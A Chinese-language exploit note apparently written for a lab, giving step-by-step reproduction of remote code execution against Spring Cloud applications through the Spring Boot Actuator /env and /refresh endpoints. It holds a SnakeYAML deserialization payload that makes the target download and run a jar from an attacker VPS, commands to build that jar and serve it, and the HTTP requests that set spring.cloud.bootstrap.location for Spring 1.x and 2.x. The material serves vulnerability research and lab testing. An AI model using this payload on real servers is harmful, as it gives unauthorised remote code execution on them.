漏洞利用条件
- 可以 POST 请求目标网站的 /env 接口设置属性
- 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
- 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
漏洞复现
在 vps 使用 python 启动一个 web server
在网站(启动的 web 服务)根目录下放置后缀为 yml 的文件 example.yml,内容如下python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在网站根目录下放置后缀为 jar 的文件 example.jar,内容是要执行的代码,代码编写及编译方式参考 yaml-payload!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
注意这里 yml 文件需要修改为 yaml-payload.jar 而不是 example.jar
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
这里更改 AwesomeScriptEngineFactory 执行的命令,请求执行 ceye.io 即触发一个 dns 请求
vps 上的结构如下
设置 spring.cloud.bootstrap.location 属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
漏洞环境
下载环境 idea 打开运行即可
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce
漏洞分析
https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/